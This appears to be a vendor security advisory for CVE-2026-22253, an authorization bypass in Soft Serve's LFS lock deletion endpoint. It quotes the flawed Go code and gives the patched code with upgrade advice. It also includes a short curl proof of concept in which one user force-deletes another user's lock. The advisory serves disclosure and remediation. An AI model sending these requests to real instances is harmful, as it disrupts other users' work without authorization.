CVE-2026-22253

LFS Lock Force-Delete Authorization Bypass

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

Severity

• CWE-863: Incorrect Authorization
• CVSS 3.1: 5.4 (Medium), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Affected Code

File: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock

The control flow processes req.Force at line 905 before retrieving user context at line 919:

// Line 905-916: Force delete executes immediately without authorization
if req.Force {
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return  // Returns here, never reaching user validation
}

// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)

Proof of Concept

Setup: Two users with write access to the same repository, User A (lock owner) and User B (attacker).

1. User A creates a lock:

   curl -X POST http://localhost:23232/repo.git/info/lfs/locks \
     -H "Authorization: Basic <user_a_token>" \
     -H "Content-Type: application/vnd.git-lfs+json" \
     -d '{"path": "protected-file.bin"}'
   

2. User B deletes User A's lock using force flag:

   curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \
     -H "Authorization: Basic <user_b_token>" \
     -H "Content-Type: application/vnd.git-lfs+json" \
     -d '{"force": true}'
   

3. Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.

Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.

Exploitation Requirements:

• Authenticated session
• Write access to target repository

Consequences:

• Unauthorized deletion of other users' locks
• Bypass of LFS file coordination mechanisms
• Potential workflow disruption in collaborative environments

Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-22253 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.11.2); upgrading removes the vulnerable code path.

Kodem intelligence

Retrieve user context and validate authorization before processing the force flag:

user := proto.UserFromContext(ctx)
if user == nil {
    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
        Message: "unauthorized",
    })
    return
}

if req.Force {
    if !user.IsAdmin() {
        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
            Message: "admin access required for force delete",
        })
        return
    }
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return
}

1. What is CVE-2026-22253? CVE-2026-22253 is a medium-severity incorrect authorization vulnerability in github.com/charmbracelet/soft-serve (go), affecting versions < 0.11.2. It is fixed in 0.11.2. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-22253? CVE-2026-22253 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/charmbracelet/soft-serve are affected by CVE-2026-22253? github.com/charmbracelet/soft-serve (go) versions < 0.11.2 is affected.
4. Is there a fix for CVE-2026-22253? Yes. CVE-2026-22253 is fixed in 0.11.2. Upgrade to this version or later.
5. Is CVE-2026-22253 exploitable, and should I be worried? Whether CVE-2026-22253 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22253 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22253? Upgrade github.com/charmbracelet/soft-serve to 0.11.2 or later.